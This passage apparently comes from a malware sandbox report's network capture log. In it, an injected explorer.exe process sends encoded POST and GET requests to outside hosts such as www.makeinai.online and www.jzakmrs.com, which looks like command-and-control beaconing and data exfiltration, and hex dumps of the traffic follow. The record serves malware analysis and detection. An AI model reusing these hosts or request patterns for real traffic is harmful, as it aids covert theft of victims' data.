Aug 29, 2023 22:46:38.329644918 CEST	1212	OUT	Data Raw: 4c 61 68 65 41 48 35 78 49 2f 72 34 37 53 31 64 47 35 4c 50 49 75 33 70 4d 77 43 57 7a 57 78 67 4d 6c 33 37 63 62 36 77 46 36 34 6f 74 4b 71 44 37 78 37 34 31 4e 4a 55 78 39 64 33 79 52 74 7a 7a 38 78 48 32 4b 77 46 45 6f 6f 6b 63 78 50 65 42 49 Data Ascii: LaheAH5xI/r47S1dG5LPIu3pMwCWzWxgMl37cb6wF64otKqD7x741NJUx9d3yRtzz8xH2KwFEookcxPeBIUVQHwUd5kyFAvRE5wW5qJbyNWwrg78aeFBj1Cq1ov73W+LIojoyTHjmhie1cun/9R8hQ08+aLFTmp5XERa/c6yolwoFvYx/notEsleeKua+0SZxuY0jwdSKHyoboo3UMPExPGKP5QMCwt0H5QGC3YY9B4X2of4YaD
Aug 29, 2023 22:46:38.329770088 CEST	1224	OUT	Data Raw: 71 4a 34 6d 45 68 4c 30 2b 73 5a 78 5a 44 6f 6d 6a 4a 4a 38 41 54 78 51 6b 4c 35 53 68 6f 77 37 6e 74 63 43 5a 4b 30 6a 5a 6e 69 47 2f 68 38 6d 41 55 4e 70 34 62 54 47 41 44 79 74 75 76 55 48 42 4b 46 65 32 36 52 41 6f 51 61 49 59 4d 50 6d 7a 59 Data Ascii: qJ4mEhL0+sZxZDomjJJ8ATxQkL5Show7ntcCZK0jZniG/h8mAUNp4bTGADytuvUHBKFe26RAoQaIYMPmzYkGMH1OjrjO79wwEJalCKoWWP2y+/4X971rC/C/KW9Y4Q8zaTHBgNN1SWfOdZ2eFj28Uyn4d8xfyX5oTw6EkEjLtuI5D6bGNzfT5WccfieqfafhohEUhxTWCtMvnbEd+BEQsPjxwZ2ctN3vUsNetsQJIMCWqrANcTu
Aug 29, 2023 22:46:38.337100029 CEST	1226	OUT	Data Raw: 70 67 42 71 32 31 57 5a 37 73 4d 4d 35 64 30 62 4f 45 42 74 59 2b 67 33 6e 58 44 2b 74 44 76 42 46 70 6b 35 39 41 37 62 75 32 45 41 33 33 42 54 30 69 55 77 5a 4b 57 33 65 2b 55 34 46 74 58 36 55 41 44 58 76 73 33 68 51 30 68 4e 2b 34 6a 36 70 70 Data Ascii: pgBq21WZ7sMM5d0bOEBtY+g3nXD+tDvBFpk59A7bu2EA33BT0iUwZKW3e+U4FtX6UADXvs3hQ0hN+4j6ppPTlv2Im9/mW7cQ8LdwXfFFih/D6Vmahyh5jmjFCJBPpVMYb8VVlav6u0Hx/xwCI2hDF5z4xttYAKZIGMiZOsyOjq0FesNGVjH5re9eiTYtwVx/6pY0UjtL2/fnMW3iKp69uXIRuVBTVP47X/s2E1W2/wA4lwO1yak
Aug 29, 2023 22:46:38.337218046 CEST	1228	OUT	Data Raw: 38 31 63 34 6d 35 64 72 44 74 77 68 70 45 63 37 79 58 49 4a 47 58 4b 50 4a 36 44 6d 51 45 37 2b 6c 73 42 4e 6c 53 68 64 62 63 41 2f 49 47 55 51 35 4e 54 6f 4a 4a 42 64 74 63 45 69 55 6a 66 6b 65 42 54 74 72 30 70 64 51 2b 63 75 6b 4c 68 56 4c 72 Data Ascii: 81c4m5drDtwhpEc7yXIJGXKPJ6DmQE7+lsBNlShdbcA/IGUQ5NToJJBdtcEiUjfkeBTtr0pdQ+cukLhVLrO5taG+e8OmMf0PoEDV7MpgbLmOY4m2y7xzb96ME8KuiIZG32DEhs1Ds2G/Ourol5PZaXvaSODmHIYdwaq2PuzPRhstrzyeduCa0eNhEvVn+ySge4TJinQ9VtCUMqIareib+oCvIDPqUV4v+Dp+nG+0tNRPB+UPExd
Aug 29, 2023 22:46:38.337265968 CEST	1229	OUT	Data Raw: 65 4c 53 67 62 55 58 61 6d 34 6f 78 46 37 55 76 43 4c 72 35 4b 70 34 48 67 76 75 62 58 6b 6b 4f 4b 73 6c 76 4e 55 39 68 56 46 43 35 62 4f 41 7a 61 41 6b 79 56 4a 76 65 6b 4c 73 74 4b 2f 6a 31 7a 4c 7a 56 67 6d 75 4c 52 49 4d 47 42 6d 6e 55 33 38 Data Ascii: eLSgbUXam4oxF7UvCLr5Kp4HgvubXkkOKslvNU9hVFC5bOAzaAkyVJvekLstK/j1zLzVgmuLRIMGBmnU38y5PFdY+sTZIUfEr0Chs4T9THJZcwSJgrsZuk8n2hsOYnRKlHpZjGb1rXZOymqNNvvw5aYgExPm4VbAc0uVetWvcQWAi1z8zv1sE2nsyf/HEzmODJgErXbS2Pew9z3ZBvMOirP+/VxHYgV2LzclCgbYAbqAIdwnkXG
Aug 29, 2023 22:46:38.526304960 CEST	1232	OUT	Data Raw: 43 50 53 63 4c 78 4b 68 6f 41 4b 30 6a 4d 61 45 59 58 38 50 71 71 64 58 71 4e 55 77 44 6f 52 6b 31 35 31 6f 4e 55 2f 31 68 52 4e 48 36 6d 64 42 67 45 4b 6f 6c 7a 6f 52 6a 4a 57 30 4f 54 6e 6b 6e 4c 71 68 64 7a 47 48 44 2b 42 2f 67 2b 49 33 31 74 Data Ascii: CPScLxKhoAK0jMaEYX8PqqdXqNUwDoRk151oNU/1hRNH6mdBgEKolzoRjJW0OTnknLqhdzGHD+B/g+I31tqv3HYa3Jl8/WinVfouxeBYChues9cjqcCHv/orjDpkGCm7uFinG3jIOlOopZtLIjpxBKzYNOg/STKOHarKnYOBMaXSrdLOJHggyWY59aASje8Uwk7f25Jidp0XMqlv9yMNRYY2PfDQU4c9e0YpF72W024AKBgwtB0
Aug 29, 2023 22:46:38.526482105 CEST	1237	OUT	Data Raw: 2f 73 46 68 32 67 39 52 61 56 50 67 46 52 49 59 33 43 4f 47 6e 5a 2b 38 32 72 57 6a 77 47 71 66 75 72 6b 30 61 35 6c 52 2f 73 53 32 6f 36 58 59 34 4b 59 77 32 7a 74 79 33 53 73 6a 61 68 49 4d 36 65 74 47 4c 65 55 6c 2b 50 37 56 62 6e 63 63 65 50 Data Ascii: /sFh2g9RaVPgFRIY3COGnZ+82rWjwGqfurk0a5lR/sS2o6XY4KYw2zty3SsjahIM6etGLeUl+P7VbnccePHOAe86ILMXl788yL181IyM9elD6h7jCeAM9BfMGcOjDf2P8FY9C7mhcfoVr2NPpLKfXigXtdjWdQjzLFFUjqInTKcyAyNZnqGRoRtBATF3ibJ1OStKKnRRfjCy5RlNepB1gpodWpaxaXr83Nf5rW+28uyxwzMp8cw
Aug 29, 2023 22:46:38.526694059 CEST	1244	OUT	Data Raw: 6e 53 79 43 52 68 66 57 4f 52 31 4f 4b 54 42 6a 49 53 48 37 47 49 4d 53 6a 51 6c 6b 51 62 72 34 75 4c 53 38 6b 50 33 49 43 49 71 6d 69 78 30 37 67 47 45 45 65 4d 5a 35 6e 6b 75 55 33 4b 38 7a 4d 49 38 51 61 75 58 6a 76 6f 62 30 4c 61 74 53 62 68 Data Ascii: nSyCRhfWOR1OKTBjISH7GIMSjQlkQbr4uLS8kP3ICIqmix07gGEEeMZ5nkuU3K8zMI8QauXjvob0LatSbhuZnCLuthVDTgKW0hVCOFQ9a/c/CZ/Aps0AWR1HZ5S2qwVpapesF0C3HwffL1NNxD6E3HPtlNV6m1QxsiA7OqdXyxhbaTO99zWYWBhLulPcVseR9t9ekWlaRZbOxyaS74xirFU70hXk4r7pxoza9fXniB1Vka34kZ/
Aug 29, 2023 22:46:38.813563108 CEST	1245	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 29 Aug 2023 20:46:32 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 9 Connection: close Trace-Id: a1494f1292f57f170d01be30eff9e093 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.11.20	50019	164.88.252.122	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:46:40.805912018 CEST	1246	OUT	GET /aw8o/?5Nag0d=P9HCUXaAtiQA1IUHrdj568qn2J4VZTbaJLJ4HjZJ2bXRJ49evu27iYt0AAEF/8+Qg/+K9eznhDIT37Q75CWHf/bcv/JSZ786mw==&OxdTJ=brp0GrP84QCc HTTP/1.1 Host: www.jzakmrs.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Aug 29, 2023 22:46:41.231301069 CEST	1246	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 29 Aug 2023 20:46:35 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 9 Connection: close Trace-Id: 8bab359e92f57f171c01be30fb7fd9d2 Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.11.20	50020	37.140.192.187	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:46:46.411426067 CEST	1247	OUT	POST /aw8o/ HTTP/1.1 Host: www.makeinai.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.makeinai.online Referer: http://www.makeinai.online/aw8o/ Connection: close Content-Length: 187 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 55 30 36 46 76 57 39 45 56 78 2b 6f 4c 76 39 6e 79 54 61 68 55 55 54 63 64 31 64 66 51 34 59 79 4f 54 78 52 58 48 4d 34 63 4d 77 4a 62 53 37 65 4c 75 32 51 76 65 4a 6e 39 48 56 34 6f 33 48 46 2b 6e 69 76 68 57 69 68 2b 6b 45 7a 2b 34 55 44 74 34 49 33 4a 6e 70 78 41 53 34 43 75 41 61 76 39 5a 52 6f 6e 76 32 6f 6c 2f 69 32 30 44 37 4b 77 59 37 36 46 43 2b 74 67 57 64 48 48 43 57 42 34 39 76 56 66 71 6a 2f 35 50 53 62 6f 5a 67 34 6c 55 36 77 72 46 41 72 50 50 42 56 48 48 69 45 2b 6b 30 41 4c 30 6e 51 4f 34 6e 42 74 59 57 6e 65 67 3d 3d Data Ascii: 5Nag0d=U06FvW9EVx+oLv9nyTahUUTcd1dfQ4YyOTxRXHM4cMwJbS7eLu2QveJn9HV4o3HF+nivhWih+kEz+4UDt4I3JnpxAS4CuAav9ZRonv2ol/i20D7KwY76FC+tgWdHHCWB49vVfqj/5PSboZg4lU6wrFArPPBVHHiE+k0AL0nQO4nBtYWneg==
Aug 29, 2023 22:46:46.503233910 CEST	1249	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 29 Aug 2023 20:46:46 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 63 30 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 4b 73 23 49 92 30 76 ff 7e 05 88 b5 66 01 53 09 54 be 13 09 34 ba a6 87 53 bd 35 da ee e9 b6 e9 9e 5a 93 6a cb 68 49 20 41 a2 0b 44 52 40 82 ac 2a 16 65 32 1d f4 3f 74 d4 6d 0f fa cc a4 83 2e fa 05 b3 ff 48 ee f1 ce 17 10 89 04 c9 39 c0 a6 a7 08 cf 8c 70 f7 70 f7 f0 f0 f0 8c c7 b7 27 d3 64 92 7e be 89 5b 57 e9 f5 e2 bb 6f f1 df d6 22 5a 5e 8e db ab 4d bb 35 59 44 eb f5 b8 3d 5f 9f 47 d3 e8 26 9d df c6 ed d6 34 4a a3 de 4d b4 8c 17 bd cd 6a 31 6e 5f a5 e9 cd 7a f8 ea d5 3a 5e dd c6 ab 30 ec 5f 25 eb 74 be bc ec af 62 f8 ff e6 d5 75 b4 8c 2e e3 55 1b 90 c7 d1 f4 bb 6f af e3 34 6a 4d ae a2 d5 3a 4e c7 ed bf ff f6 43 6f d0 66 4f 97 d1 75 3c 6e df ce e3 bb 9b 64 95 02 f9 64 99 c6 4b 28 75 37 9f a6 57 e3 69 7c 3b 9f c4 3d 02 18 f3 e5 3c 9d 47 8b de 7a 12 2d e2 b1 95 45 b1 4a 2e 92 74 ad 20 58 26 f3 e5 34 fe 04 a5 d2 79 ba 88 bf fb c7 ff f1 5f ff db 7f fd af ff f8 cf 7f fc bf ff f8 bf ff eb 7f ff c7 7f b6 e0 c7 7f 3f 5d 5e ac 6f 46 f0 eb 3f ff f1 ff fc e3 ff fa c7 7f c7 5f df be a2 15 be 5d a7 9f 17 71 eb 3a 9e ce a3 71 3b 5a 2c da df fd f1 63 fc 79 b6 02 7a eb d6 75 72 1b 9f 2d 92 cd 74 7d 6f 7e 73 7f 11 4d 3e 5e ae 92 cd 72 da bb 49 d6 c0 66 b2 1c 5a a6 79 7b d7 72 bc 6f 1e d2 a4 b4 40 cf 32 3d 56 e2 21 8f 79 9e 7e d6 c4 6e 40 bb d3 e4 da 98 40 ab e3 55 8b 42 2d c7 b9 bd da 4d 77 4b dd 87 fe 05 a8 fc 32 be 9f ce d7 37 8b e8 f3 70 b6 88 3f 8d f0 9f de 74 be 8a 27 04 d3 24 59 6c ae 97 23 a2 1e e4 e8 9b d1 f5 7c 49 b5 35 74 6c f3 e6 d3 e8 2a 9e 5f 5e a5 f4 dd 4d 34 9d 82 95 0c 7d 78 d1 32 5b e6 e8 3a 5a 5d ce 97 43 73 34 03 a5 0d 2d 1b 1e 7f bf 02 0d 1b 6f e3 c5 6d 9c ce 27 51 eb af f1 26 96 a0 f1 c3 2a 8e 7f 8d 96 6b 63 0d ff f4 c0 fe e6 b3 91 6c e2 f0 5f 66 b3 d9 08 98 4a 56 c3 7f 71 7c 17 fe 1b f5 ee e2 8b 8f f3 b4 97 46 37 bd 2b e0 65 81 fc f4 68 99 74 05 58 6e a2 15 b4 fe 01 bb c1 70 99 a4 9d be 62 fa dd 16 97 02 e8 64 35 5b 24 77 bd 4f c3 ab f9 74 1a 2f 1f fe 48 0c a3 d5 91 2d b6 4c db bd f9 d4 bd 57 31 6c 41 c0 25 7c 8e 9d f1 1c d8 f8 08 c2 b9 47 74 52 68 a0 88 4c a9 78 b5 4a 56 14 21 97 a6 b9 83 f5 f3 eb 78 b9 e9 61 61 54 19 bc 9f c6 53 a3 7e 95 5e 34 c1 32 9c 6c 2f 4d 6e 80 74 3d 21 94 e1 cd 21 7c a8 c9 82 85 56 76 00 36 ca 9b b7 cb 2a 32 a5 15 db 0f 43 1f b8 da 21 64 78 33 9f 7d ee 5d ac 92 3b 30 e4 f3 db f9 7a 7e b1 c8 e2 f4 dc da 8d db c1 53 a9 3c 74 39 91 ca 49 2e e6 8b b8 c7 6d fa 9c 5a b4 c1 5f af 37 17 28 e2 f3 e4 26 5e 82 86 79 31 6e f8 3b e4 72 3e 4b 12 f0 46 bd 69 72 b7 dc 69 a8 e5 8c ec a8 55 c5 1f 6b 78 5d 73 da 85 ae b6 79 96 36 aa 04 6f 7f 2e d5 ce dd f4 c5 22 99 7c 7c 28 93 e5 3d 3a ef a1 05 9e 37 da a4 c9 28 af 15 05 59 b6 5a d6 23 7d 53 b7 35 19 5c 25 6d 28 29 76 2e 9a ce 4d b1 50 2f 5f 0d 1a 51 4e b2 c7 02 02 61 cd 74 90 83 ce 5d 85 82 82 42 a0 cb 64 a9 90 63 d8 7a 77 ab e8 e6 06 4a f1 21 8c c8 b4 b2 d8 39 09 25 ce 31 20 51 38 59 11 99 a2 e8 f8 d0 d8 5b c4 33 fa 44 0f d5 f9 32 be cb a1 73 07 79 74 f8 64 67 9f cb b7 ab 86 1f ab d3 58 33 cb 5a ed 01 64 2b 9f 5a 35 6a 71 57 bb e9 64 90 66 d1 70 6f 9d 46 10 b4 30 16 07 e6 1e 03 55 6d fc d2 6c f8 f0 a6 76 5f 0c bc 8a 51 d8 62 be 4e 7b 44 2a 3d 44 4f 0d 7e 57 c3 05 7a 11 86 88 68 ae d5 b3 3c 8a ba 76 73 f5 b0 16 1b 29 bb 63 2e fc 94 78 94 40 98 05 Data Ascii: c000Ks#I0v~fST4S5ZjhI ADR@e2?tm.H9pp'd~[Wo"Z^M5YD=_G&4JMj1n_z:^0_%tbu.Uo4jM:NCofOu<nddK(u7Wi\|;=<Gz-EJ.t X&4y_?]^oF?_]q:q;Z,cyzur-t}o~sM>^rIfZy{ro@2=V!y~n@@UB-MwK27p?t'$Yl#\|I5tl_^M4}x2[:Z]Cs4-om'Q&kcl_fJVq\|F7+ehtXnpbd5[$wOt/H-LW1lA%\|GtRhLxJV!xaaTS~^42l/Mnt=!!\|Vv62C!dx3}];0z~S<t9I.mZ_7(&^y1n;r>KFiriUkx]sy6o."\|\|(=:7(YZ#}S5\%m()v.MP/_QNat]BdczwJ!9%1 Q8Y[3D2sytdgX3Zd+Z5jqWdfpoF0Umlv_QbN{D*=DO~Wzh<vs)c.x@
Aug 29, 2023 22:46:46.503338099 CEST	1250	IN	Data Raw: 88 33 7b e6 ce 42 ed 96 96 d0 a0 66 b7 6f 23 2b 11 96 b4 8f cc 48 c0 81 27 51 3a 44 db a4 11 73 60 9a 2d 6c e6 2b c7 dc 2f 74 5e cc 97 31 37 0e 6f a0 7a 9d 2c e5 1e 14 fc 78 9f c6 9f d2 de 34 9e 24 ab 88 44 ff 59 cf 58 52 63 78 85 7e bb 50 0f 74 Data Ascii: 3{Bfo#+H'Q:Ds`-l+/t^17oz,x4$DYXRcx~PttUem1weEy_*^D(lG+vs\|R<&5""#ATT__bilwxS%Cj)52.F3u%hsvXf
Aug 29, 2023 22:46:46.503418922 CEST	1251	IN	Data Raw: 1e 42 de 44 6c a2 bc 08 26 e6 a4 b4 c4 f9 34 5a 7d 94 bb 2d 43 37 32 2f fc 5c 41 72 62 8c a0 14 06 83 60 50 60 e6 0a 1a c9 b9 61 50 ae cc c5 65 ef 73 bc 58 24 77 72 bf 5e cb 6c 41 d8 dd c2 ed b4 b9 13 78 bc 69 9e db 34 49 16 e9 fc 46 36 d8 8f 4d Data Ascii: BDl&4Z}-C72/\Arb`P`aPesX$wr^lAxi4IF6MS9Y%\Od5!{]`0]Cxz+57:*E;T78[07JxVw/)4mHV($8gVl=[Iqz12]%r0M
Aug 29, 2023 22:46:46.503479958 CEST	1253	IN	Data Raw: f3 3c 91 79 63 fd f0 80 58 6d cf 33 c4 e3 8d 7d 40 3e fc 2d b4 e7 79 a2 f0 da 03 0d 8b 99 35 c2 20 ad d8 3b 23 86 67 0b bb 8b 5c 3c 43 c4 bd 3b 04 d3 0b b6 a1 31 25 71 f6 be 07 2b 14 02 e0 c5 e5 73 86 df 8b b2 25 c0 4d c2 ef 42 73 9e 25 fc de d9 Data Ascii: <ycXm3}@>-y5 ;#g\<C;1%q+s%MBs%,[m;P/.;%~/I]<}5bk#5Ls>n9n~7U5<s]{<"~QM.sp%g0/mDZ
Aug 29, 2023 22:46:46.503532887 CEST	1254	IN	Data Raw: f8 7d af e2 f2 58 e8 4b cb 9c cf 56 c9 f5 fd 22 4e a1 1f 13 34 f4 e2 0b 32 13 d9 77 2a b4 c5 85 2a 44 7b 78 7b 87 7a 6d c7 9e 17 97 48 ac d1 75 b2 59 92 0b 2a 04 99 58 3d 85 39 6c 90 79 29 35 29 f5 82 17 c0 0f 3a aa 68 ba 1a da d0 80 ed a1 92 4b Data Ascii: }XKV"N42w*D{x{zmHuYX=9ly)5):hK{.5)]&UU0`\|`i@K(P0psL9}>h_&h+W1V3qCHs<ds&ZjJk>g>+u'0_l@<~a>^G
Aug 29, 2023 22:46:46.503598928 CEST	1255	IN	Data Raw: b9 fa d4 1e 5f c1 db a8 1d 5a bf e5 b4 0e 1b f7 e9 71 52 75 2d 66 83 f8 ae 11 e1 26 e1 ce 41 09 eb 47 41 75 c8 d6 14 70 a1 f7 d4 16 f0 93 0b f6 b9 04 fa 24 51 a6 1e 67 f9 8b 58 1b 04 9d 7b 11 dc 3f 8e 38 08 39 fd c0 42 8f 5c ee 9a d3 06 11 ea 3e Data Ascii: _ZqRu-f&AGAup$QgX{?89B\>[Z4,n8Vbcna[ebDem+.[!6M6 i45z{N>*8FI= AO)Bd7y84 HG`m},I
Aug 29, 2023 22:46:46.503655910 CEST	1257	IN	Data Raw: 61 81 30 b6 df 57 90 97 b0 34 fa 9d 51 41 39 ab 94 6e bd 4b a8 34 11 96 8a 89 9b be b8 c4 a1 d8 29 b2 bd a7 a4 a7 ab 3e 48 5e 07 b5 93 14 bb 7e 8c 1c 9d 4e 69 f4 b2 67 94 62 db 52 e8 34 cb 4b bc f1 2f b9 53 ce 8e cf bc a2 67 b4 67 ee 4b a0 57 21 Data Ascii: a0W4QA9nK4)>H^~NigbR4K/SggKW!hefBg,Me,>nZ8qpR/cm)gul?OMRa,XGn7;g-Xi]zhu>A-8s<7Y$)oQ(dj}{
Aug 29, 2023 22:46:46.503711939 CEST	1258	IN	Data Raw: d1 0f 87 ad f9 72 36 5f 42 a8 b9 25 90 2e 1f b5 4b 11 fb 25 88 f5 03 ec 86 84 6a 34 41 86 25 c5 2f aa c7 18 e4 18 83 1c 63 90 63 0c 72 8c 41 8e 31 c8 31 06 d9 3b 06 31 f2 2b 93 d8 57 5c b1 be ca d0 1c 68 fd 81 29 07 5a d7 71 5e b4 6e e7 f1 dd 9f Data Ascii: r6_B%.K%j4A%/ccrA11;1+W\h)Zq^nO>}<g%1J7ol]?_8^n6LL%8m+pzf]Th+odVN~<LJMrdp:EUh}t*tDf
Aug 29, 2023 22:46:46.503766060 CEST	1259	IN	Data Raw: 66 60 1b 86 4b a0 ef 5a 4a c7 03 d8 74 94 8e e7 c2 90 e3 d8 52 7b 14 2e 6a 8f 97 e3 5a e1 78 14 18 e8 bc a3 64 a5 f2 38 57 02 0d e3 3a db 3a 45 7b 81 09 ed f7 a5 f6 28 2c b5 e3 73 a3 e5 b0 0b f2 75 15 18 06 34 57 51 9f 47 12 56 8a 7c 39 cc e5 cf Data Ascii: f`KZJtR{.jZxd8W::E{(,su4WQGV\|9`^_}^_k`GK}c:K!Fz+0z_Er\1wJa\g[BWqp0~/@*$V\|032+LYP9s++yR\'
Aug 29, 2023 22:46:46.503820896 CEST	1260	IN	Data Raw: 55 17 ac 65 58 57 f4 16 40 68 15 06 05 bd d1 c7 42 51 00 d2 f5 7f 02 b4 30 3c 04 e2 30 31 16 7a 0b 00 85 2f 3d 64 80 9e c1 92 7a a3 70 51 6f a2 1c d3 87 40 c3 61 42 e5 1d a3 2a f5 26 98 e2 78 38 cf 99 a6 29 7a 83 b1 0e 3c ae d4 1b 85 85 6a 42 a6 Data Ascii: UeXW@hBQ0<01z/=dzpQo@aB*&x8)z<jBwZ} `IM%` VDeYuYsEm!vAiP7U)FF\|ER2QBEQRe)r4\=E1=Opf1Y=F&DeW99qZ]2a
Aug 29, 2023 22:46:46.555145025 CEST	1262	IN	Data Raw: 97 ea c2 05 d1 20 2e 15 f6 70 f5 36 0c 73 10 79 49 f5 85 38 b1 f1 a4 fa 42 53 aa 2e 34 8b 6a 0b 4d a9 22 56 57 85 7d 5c 0f 4f 69 49 95 31 5e 24 0e 26 ca 6c 9b 84 ca 70 ca 19 78 d2 5d 32 58 a8 04 57 01 db 8e ad c0 26 d9 3b 2c 60 13 a2 4f 4b ba 4b Data Ascii: .p6syI8BS.4jM"VW}\OiI1^$&lpx]2XW&;,`OKK\to) *pR}hR_d\Yx#sC&Sdr\'wKa\|'unf zxu3y}^{E}n[R]XUk

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.11.20	50021	37.140.192.187	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:46:48.982964993 CEST	1317	OUT	POST /aw8o/ HTTP/1.1 Host: www.makeinai.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.makeinai.online Referer: http://www.makeinai.online/aw8o/ Connection: close Content-Length: 527 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 55 30 36 46 76 57 39 45 56 78 2b 6f 4b 50 4e 6e 33 77 79 68 42 6b 54 62 42 6c 64 66 62 59 59 32 4f 54 39 52 58 47 49 6f 63 2f 45 4a 62 32 2f 65 4d 76 32 51 2f 4f 4a 6e 70 58 56 39 33 6e 48 65 2b 6e 75 64 68 55 6d 68 2b 6b 51 7a 78 71 4d 44 70 34 49 30 43 48 70 79 48 53 34 42 71 41 61 78 39 5a 4d 4a 6e 75 79 6f 6c 4f 4f 32 31 41 54 4b 79 36 54 35 50 43 2b 72 30 6d 64 41 65 79 57 78 34 39 69 6d 66 71 4c 76 35 61 53 62 6f 36 59 34 6b 55 36 2f 79 6c 41 73 53 66 42 44 4a 46 4c 34 7a 30 52 69 57 55 44 76 4b 49 4f 72 67 4c 50 4d 4e 66 6a 6c 66 32 42 30 4a 66 4c 57 68 5a 6c 6d 74 56 78 46 58 6d 65 35 4d 38 47 4a 41 74 66 6f 78 36 6f 31 46 45 4e 4d 55 78 33 61 34 2f 59 46 41 2f 74 50 2f 4c 2f 63 4d 30 2b 63 62 4c 62 35 35 4a 6c 31 74 6a 6e 59 57 52 48 69 4a 48 4c 6b 47 2b 6f 48 44 76 6c 74 6c 4a 71 4b 58 47 5a 41 6b 2f 6c 54 31 59 30 68 62 6f 53 38 46 6f 64 4a 53 62 6b 70 68 53 6c 63 31 4a 77 4a 4e 6f 34 47 7a 47 56 64 58 64 50 4c 50 33 42 6e 58 6c 4b 62 69 59 6e 6f 62 52 46 4b 78 44 53 2b 48 63 33 69 50 4b 66 5a 31 67 46 58 55 4d 77 32 47 34 45 4e 73 74 4c 39 4e 39 54 53 67 6f 59 41 4b 63 75 6e 41 53 7a 78 4b 38 69 70 4e 61 68 70 64 38 4e 31 6b 68 44 54 58 44 33 4d 4e 56 42 69 73 77 6f 4a 49 4e 79 2f 7a 70 4a 47 55 76 74 6e 4d 33 77 7a 30 45 39 4a 66 2b 65 42 6a 6b 47 44 4a 50 6e 4f 78 43 31 55 39 50 47 4d 6f 4a 68 65 58 46 54 56 4a 78 58 66 48 4a 6f 56 75 59 52 41 54 54 65 6b 6b 55 35 46 67 34 6f 4d 57 38 30 74 45 71 31 51 55 74 48 79 34 38 55 5a 47 7a 53 68 50 65 45 73 53 4a 33 58 4a 69 46 61 6b 7a 43 35 70 76 79 50 4e 7a 4a 68 2b 65 49 3d Data Ascii: 5Nag0d=U06FvW9EVx+oKPNn3wyhBkTbBldfbYY2OT9RXGIoc/EJb2/eMv2Q/OJnpXV93nHe+nudhUmh+kQzxqMDp4I0CHpyHS4BqAax9ZMJnuyolOO21ATKy6T5PC+r0mdAeyWx49imfqLv5aSbo6Y4kU6/ylAsSfBDJFL4z0RiWUDvKIOrgLPMNfjlf2B0JfLWhZlmtVxFXme5M8GJAtfox6o1FENMUx3a4/YFA/tP/L/cM0+cbLb55Jl1tjnYWRHiJHLkG+oHDvltlJqKXGZAk/lT1Y0hboS8FodJSbkphSlc1JwJNo4GzGVdXdPLP3BnXlKbiYnobRFKxDS+Hc3iPKfZ1gFXUMw2G4ENstL9N9TSgoYAKcunASzxK8ipNahpd8N1khDTXD3MNVBiswoJINy/zpJGUvtnM3wz0E9Jf+eBjkGDJPnOxC1U9PGMoJheXFTVJxXfHJoVuYRATTekkU5Fg4oMW80tEq1QUtHy48UZGzShPeEsSJ3XJiFakzC5pvyPNzJh+eI=
Aug 29, 2023 22:46:49.079030037 CEST	1318	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 29 Aug 2023 20:46:49 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 63 30 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 4b 73 23 49 92 30 76 ff 7e 05 88 b5 66 01 53 09 54 be 13 09 34 ba a6 87 53 bd 35 da ee e9 b6 e9 9e 5a 93 6a cb 68 49 20 41 a2 0b 44 52 40 82 ac 2a 16 65 32 1d f4 3f 74 d4 6d 0f fa cc a4 83 2e fa 05 b3 ff 48 ee f1 ce 17 10 89 04 c9 39 c0 a6 a7 08 cf 8c 70 f7 70 f7 f0 f0 f0 8c c7 b7 27 d3 64 92 7e be 89 5b 57 e9 f5 e2 bb 6f f1 df d6 22 5a 5e 8e db ab 4d bb 35 59 44 eb f5 b8 3d 5f 9f 47 d3 e8 26 9d df c6 ed d6 34 4a a3 de 4d b4 8c 17 bd cd 6a 31 6e 5f a5 e9 cd 7a f8 ea d5 3a 5e dd c6 ab 30 ec 5f 25 eb 74 be bc ec af 62 f8 ff e6 d5 75 b4 8c 2e e3 55 1b 90 c7 d1 f4 bb 6f af e3 34 6a 4d ae a2 d5 3a 4e c7 ed bf ff f6 43 6f d0 66 4f 97 d1 75 3c 6e df ce e3 bb 9b 64 95 02 f9 64 99 c6 4b 28 75 37 9f a6 57 e3 69 7c 3b 9f c4 3d 02 18 f3 e5 3c 9d 47 8b de 7a 12 2d e2 b1 95 45 b1 4a 2e 92 74 ad 20 58 26 f3 e5 34 fe 04 a5 d2 79 ba 88 bf fb c7 ff f1 5f ff db 7f fd af ff f8 cf 7f fc bf ff f8 bf ff eb 7f ff c7 7f b6 e0 c7 7f 3f 5d 5e ac 6f 46 f0 eb 3f ff f1 ff fc e3 